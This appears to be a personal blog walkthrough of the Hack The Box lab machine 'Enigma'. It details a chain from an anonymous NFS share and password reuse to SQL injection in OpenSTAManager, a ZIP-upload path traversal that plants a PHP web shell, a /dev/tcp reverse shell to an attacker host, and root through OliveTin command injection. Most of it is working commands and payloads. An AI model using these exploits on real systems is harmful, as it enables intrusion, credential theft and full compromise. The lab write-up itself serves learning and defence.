Peter Rakolcza Get in touch
← back to archive
// technical_debrief Easy

Enigma

Enigma is a medium-difficulty Linux box built around a self-hosted mail stack, an Italian invoicing application (OpenSTAManager), and an automation panel (OliveTin) running as root.

platform
Hack The Box
target_os
Linux (Ubuntu 24.04)
difficulty
Easy
season
Season 11
logged
June 29, 2026
exploit_vectors → Anonymous NFS readRoundcube webmail + password reuseComponent-upload path traversal RCEConfig-leaked credential → user

Summary of Exploitation

Enigma is a medium-difficulty Linux box built around a self-hosted mail stack, an Italian invoicing application (OpenSTAManager), and an automation panel (OliveTin) running as root. Starting from nothing but an anonymous NFS export, the chain proceeds as follows:

  1. Anonymous NFS read exposes an onboarding share containing a PDF with a first set of mailbox credentials (kevin).
  2. Roundcube webmail + password reuse — the PDF points at a Roundcube instance on mail001; reading kevin’s mailbox and reusing his password pivots to sarah, whose inbox holds OpenSTAManager admin credentials and a new support_001 vhost.
  3. OpenSTAManager SQL injection (CVE-2025-69214) — a time-based blind injection (filter-bypassed with --tamper=between) dumps the zz_users table, yielding the application’s bcrypt hashes. The database account is read-only (USAGE only), so the SQLi serves credential extraction rather than file write.
  4. Component-upload path traversal RCE — as OSM admin, a crafted module ZIP with an unsanitized directory field drops a PHP web shell into the webroot, granting a shell as www-data.
  5. Config-leaked credential → user — config.inc.php exposes the DB password; the cracked bcrypt hash for haris (bestfriends) grants a stable user shell and the user flag.
  6. OliveTin command injection (CVE-2026-27626) — OliveTin runs as root and its password-typed action argument bypasses the shell safety check, allowing arbitrary command execution as root via the “Backup Database” action → SUID bash → root.

Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>

Results (abridged):

Port State Service Version
22 open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80 open http nginx 1.24.0 (redirect to enigma.htb)
110 open pop3 Dovecot pop3d
111 open rpcbind 2-4 (RPC #100000)
143 open imap Dovecot imapd
993 open ssl/imap Dovecot imapd
995 open ssl/pop3 Dovecot pop3d
2049 open nfs_acl 3 (RPC #100227)
(various) open mountd/nlockmgr/status NFS ancillary services

Key takeaways from recon:

  • A full Dovecot mail stack (POP3/IMAP, plain + TLS) but no SMTP (port 25) — mail services are retrieval-only, so the path is “obtain credentials, then read mail,” not user enumeration via SMTP.
  • NFS is fully exposed (2049 + rpcbind + mountd/nlockmgr/status) — the loudest attack surface and the likely initial leak.
  • The web server redirects to enigma.htb — a vhost, implying name-based virtual hosting worth fuzzing.

The hostname was added to /etc/hosts:

echo "<target-ip>  enigma.htb mail001.enigma.htb support_001.enigma.htb" | sudo tee -a /etc/hosts

NFS Enumeration

The exported shares were enumerated:

showmount -e <target-ip>
# Export list:
# /srv/nfs/onboarding *

The onboarding export was mounted read-only and inspected:

mkdir -p /mnt/enigma
mount -t nfs -o vers=3,nolock <target-ip>:/srv/nfs/onboarding /mnt/enigma
ls -lan /mnt/enigma

The share contained an onboarding PDF that disclosed a first credential and the webmail vhost:

mail001.enigma.htb
kevin
Enigma2024!

Note. The export is *(ro) with no no_root_squash, so it is purely an information leak — not a privesc vector. Its only role is to seed the credential chain.


Mail Enumeration & Lateral Movement

The onboarding PDF pointed at a Roundcube webmail instance hosted on the mail001 vhost:

http://mail001.enigma.htb/

Logging into Roundcube as kevin:Enigma2024! gave access to his mailbox via the web UI. The inbox contained an onboarding message from “Sarah (Accounts)” referencing the IT team and a “company shared drive” for access credentials.

Password reuse was tested against sarah, and the same password logged into her Roundcube mailbox:

http://mail001.enigma.htb/   ->  login as sarah (reused password)

Sarah’s mailbox held the IT provisioning email — OpenSTAManager admin credentials and a new vhost:

URL: http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s

Exploitation Phase

Step 1 — OpenSTAManager SQL Injection (CVE-2025-69214)

The application identified itself as OpenSTAManager 2.9.8. The ajax_select.php endpoint (op=componenti) was injectable on the options[matricola] array parameter. The endpoint returns JSON ({"results":[...]}) and requires a valid authenticated session cookie.

The injection was confirmed by sqlmap, but extraction initially returned only blank values. The root cause was a back-end character filter:

[WARNING] it appears that the character '>' is filtered by the back-end server.
You are strongly advised to rerun with the '--tamper=between'

sqlmap’s binary-search extraction relies on > comparisons; with > filtered, every bit evaluated false and all retrieved values came back empty. Supplying --tamper=between (which rewrites A>B as a BETWEEN range) resolved it:

sqlmap -u 'http://support_001.enigma.htb/ajax_select.php?op=componenti&options[matricola]=1' \
  --cookie='PHPSESSID=<session>' --tamper=between --dbms=mysql \
  -D openstamanager -T zz_users -C email,password --dump

Result:

Database: openstamanager
Table: zz_users
+------------------+--------------------------------------------------------------+
| email            | password                                                     |
+------------------+--------------------------------------------------------------+
| admin@enigma.htb | $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu |
| haris@enigma.htb | $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC |
+------------------+--------------------------------------------------------------+

The haris hash cracked instantly against rockyou, giving the credentials used to reach the haris user later in the chain:

hashcat -m 3200 haris_hash.txt /usr/share/wordlists/rockyou.txt
# $2y$10$WHf1T79...ZDr6eC:bestfriends

Scope note. The SQLi DB user (brollin@localhost) holds only USAGE — no FILE privilege — so SELECT ... INTO OUTFILE and LOAD_FILE are impossible. The injection is read-only and serves credential extraction, not a direct file-write-to-shell. This was confirmed before pivoting:

sqlmap -u '...' --cookie='...' --tamper=between --is-dba --privileges
# current user is DBA: False ;  privilege: USAGE

Alternative path. The SQLi is not strictly required to recover the zz_users hashes. The same data is reachable post-RCE: upload the malicious component ZIP (Step 2), catch a reverse shell as www-data, cat config.inc.php to obtain the brollin DB credentials (Fri3nds@9099), and query the database directly:

mysql -u brollin -p'Fri3nds@9099' openstamanager -e 'SELECT email,password FROM zz_users;'

The SQLi route was used here, but the config-leak route arrives at the identical haris hash without it.

Step 2 — Component-Upload Path Traversal RCE → www-data

OpenSTAManager 2.9.8 ships a plugin/module installer (Strumenti → Aggiornamenti) that accepts a .zip containing a component folder with a MODULE (or PLUGIN) manifest. In 2.9.8 the manifest’s directory field is unsanitized and used in the install path — a path-traversal-to-RCE primitive (vendor commit e50cd6a7b; see also the related P7M command-injection CVE-2025-69212).

A malicious component was crafted: a PHP web shell plus a manifest whose directory traverses out of the extraction base into the webroot.

pwn/MODULE:

name = "pwnsh"
directory = "../"
version = "1.0"
compatibility = "*"
order = 121
default = 0
enabled = 1
icon = "fa fa-cog"
options = ""
parent = ""

pwn/shell.php:

<?php system($_GET['c']); ?>
zip -r pwnsh.zip pwn/
# upload via Strumenti -> Aggiornamenti (admin session)

The correct traversal depth was determined empirically using a uniquely-named static marker file (status codes were unreliable because nginx serves the OSM login page as a catch-all for unknown paths — matches were validated on body content, not HTTP status). Depth ../ (one level above the extraction base) resolved to the web root:

curl -g -s 'http://support_001.enigma.htb/m_d1.txt' | grep -c MARK   # -> 1

Execution confirmed:

curl -g -s 'http://support_001.enigma.htb/shell.php?c=id' | grep uid
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

A reverse shell was obtained (note: the shell reads $_GET, so the payload must be sent in the query string — use curl -G so --data-urlencode appends to the URL rather than POSTing):

nc -lvnp 4444                 # attacker

curl -g -G 'http://support_001.enigma.htb/shell.php' \
  --data-urlencode 'c=bash -c "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"'

Gotchas encountered:

  • curl interprets [ ] in the URL as globbing ranges — use curl -g to disable globbing on the options[matricola] parameter.
  • The catch-all login page returns HTTP 200 for arbitrary paths; success must be judged on response body content, not status code.
  • There is no public/ subdirectory in 2.9.8 — nginx serves from the app root (/var/www/html/openstamanager/), so the traversal targets the app root directly, not a public/ dir.

Step 3 — Config-Leaked Credentials → user haris

With code execution as www-data, the OpenSTAManager DB config was read:

cat /var/www/html/openstamanager/config.inc.php
# $db_username = 'brollin';
# $db_password = 'Fri3nds@9099';

The home directories confirmed the user set (haris, kevin, sarah, it). The cracked password for haris (bestfriends) provided a stable user shell:

su haris      # bestfriends
id            # uid=1000(haris)
cat ~/user.txt

User flag obtained.

To enable an SSH session as haris (needed later to port-forward the localhost-only OliveTin instance), a public key was added to haris’s authorized_keys:

# as haris, from the su shell
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo '<attacker-public-key>' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

This allowed key-based SSH login (and later ssh -L tunneling):

ssh -i <attacker-private-key> haris@<target-ip>

Step 4 — Privilege Escalation Enumeration

haris had no sudo rights and only stock SUID binaries (including SUID mount.nfs, but the only NFS export is ro with root-squash, so it is not exploitable). Enumeration of /opt revealed the privesc target:

ls /opt        # OliveTin  roundcube
ps aux | grep -i olivetin
# root  /usr/local/bin/OliveTin

OliveTin runs as root. OliveTin is a web app (bound to 127.0.0.1:1337) that exposes predefined shell commands as buttons; any action it runs executes as root. The config (/opt/OliveTin/OliveTin-linux-amd64/config.yaml) is owned by kevin and world-readable. Its actions include several with unsanitized {{ }} template arguments.

Because the panel is bound to localhost only, it was reached by SSH local port-forwarding through the haris key added earlier:

ssh -i <attacker-private-key> -L 1337:127.0.0.1:1337 haris@<target-ip>
# OliveTin UI now available at http://127.0.0.1:1337 on the attacker host

Step 5 — OliveTin Command Injection (CVE-2026-27626) → Root

The OliveTin instance is version 3000.10.0, vulnerable to CVE-2026-27626. OliveTin’s shell-mode safety check (checkShellArgumentSafety) blocks several dangerous argument types but not the password type, which accepts arbitrary shell metacharacters and passes them straight to sh -c.

The ping {{ host }} action was not usable — its host argument is typed ascii_identifier, and OliveTin rejected the metacharacters (invalid argument host, doesn't match ascii_identifier). The “Backup Database” action, however, defines a password-typed input, which bypasses the safety check entirely.

The action’s shell template wraps the argument in quotes, so the payload breaks out of the quote, runs the command, and re-opens the quote. The SUID-bash drop was used (cleaner than a reverse shell — it survives the action completing and yields an interactive root shell):

Payload entered in the Backup Database password field:

'; cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; echo '

After triggering the action (the API endpoint POST /api/StartActionAndWait runs unauthenticated as guest):

ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root 1446024 ... /tmp/rootbash
/tmp/rootbash -p
whoami        # root
cat /root/root.txt

Root flag obtained.

Privesc notes:

  • A second OliveTin vector exists: the “Run backup script” action executes /opt/backupScript.sh, which does not exist. Writing that file would yield root execution — but /opt is not writable by haris, so this path requires first pivoting to kevin (who owns the config). The password-type injection avoids that requirement.
  • CVE-2026-27626 also describes an unauthenticated webhook-JSON vector that skips type checks entirely; not needed here.

Key Takeaways

  • Anonymous NFS exports are credential seeds. A read-only onboarding share with no no_root_squash was not a privesc, but it bootstrapped the entire credential chain.
  • Mail + password reuse is a chain multiplier. Reading one mailbox and reusing its password walked the access from kevin → sarah → application admin, with each inbox handing over the next credential.
  • Know your SQLi’s privileges before planning the exploit. The injection was real but the DB user had only USAGE — confirming --is-dba/--privileges early ruled out INTO OUTFILE and saved time pursuing the (correct) component-upload RCE instead.
  • Filtered characters mask working injections. A back-end > filter made a valid time-based injection look broken; --tamper=between was the difference between “all blank” and a full table dump.
  • Validate web RCE on content, not status codes. A framework catch-all returning HTTP 200 for every path makes status-based fuzzing lie — body-content matching (a unique static marker) was essential to locate the traversal target.
  • Automation panels running as root are prime privesc. OliveTin’s {{ }} template arguments are command injection by design; the password-type bypass (CVE-2026-27626) turned a single web field into root.

Full Attack Chain

anonymous NFS (/srv/nfs/onboarding)  ──>  onboarding PDF  ──>  kevin creds
   └─ mail read + password reuse  ──>  sarah  ──>  OpenSTAManager admin creds
        └─ CVE-2025-69214 SQLi (--tamper=between)  ──>  zz_users hashes
             └─ component-upload path traversal RCE  ──>  shell as www-data
                  └─ config.inc.php + cracked hash  ──>  su haris (bestfriends)   [USER]
                       └─ OliveTin as root + CVE-2026-27626 (password-type injection)
                            └─ Backup Database action  ──>  SUID bash  ──>  root   [ROOT]

Vulnerability References

  • CVE-2025-69214 — OpenSTAManager authenticated SQL injection (ajax_select.php / options[matricola]).
  • CVE-2025-69212 — OpenSTAManager P7M filename OS command injection (alternative authenticated RCE vector, ≤ 2.9.8).
  • OpenSTAManager component-upload path traversal RCE — unsanitized directory field in ZIP MODULE/PLUGIN manifest (vendor fix commit e50cd6a7b).
  • CVE-2026-27626 — OliveTin OS command injection via password argument type bypassing checkShellArgumentSafety (GHSA-49gm-hh7w-wfvf; patched ≥ commit 4bbd2ea).